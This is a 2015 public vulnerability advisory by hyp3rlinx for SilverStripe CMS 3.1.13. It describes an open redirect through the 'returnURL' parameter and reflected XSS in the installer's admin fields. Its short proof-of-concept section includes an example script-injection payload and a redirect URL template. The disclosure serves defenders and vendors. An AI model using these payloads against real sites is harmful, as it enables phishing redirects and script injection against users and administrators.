SilverStripe CMS 3.1.13 XSS / Open Redirect

`[+] Credits: John Page (hyp3rlinx)  
  
[+] Domains: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-SILVERSTRIPE0607.txt  
  
  
  
Vendor:  
================================  
http://www.silverstripe.org/software/download  
  
  
Product:  
================================  
SilverStripe CMS & Framework v3.1.13  
  
  
Advisory Information:  
================================================  
Unvalidated Redirect & XSS vulnerabilities  
  
  
Vulnerability Details:  
=====================  
Unvalidated redirect:  
  
The 'returnURL' parameter for following URL:  
http://localhost/SilverStripe-cms-v3.1.13/dev/build  
is open to abuse by supplying an malicious a location or file.  
  
  
  
XSS (reflected):  
install.php is XSS vulnerable using POST method for the following input  
fields.  
  
admin_username  
admin_password  
  
  
Exploit code(s):  
===============  
  
Unvalidated redirect POC:  
http://localhost/SilverStripe-cms-v3.1.13/dev/build?returnURL=[EVIL REMOTE  
FILE LOCATION]  
  
  
XSS POC:  
http://localhost/SilverStripe-cms-v3.1.13/install.php  
admin_username  
admin_password  
"><script>alert(666)</script>  
  
  
  
Disclosure Timeline:  
=========================================================  
Vendor Notification: June 7, 2015  
June 8, 2015 : Public Disclosure  
  
  
  
Severity Level:  
=========================================================  
Med  
  
  
  
Description:  
==========================================================  
  
Request Method(s): [+] GET & POST  
  
  
Vulnerable Product: [+] SilverStripe CMS & Framework v3.1.13  
  
  
Vulnerable Parameter(s): [+] returnURL, admin_username & admin_password  
  
  
Affected Area(s): [+] install & dev  
  
===============================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author. The author is not responsible for any misuse of the information  
contained herein and prohibits any malicious use of all security related  
information or exploits by the author or elsewhere.  
  
  
(hyp3rlinx)  
`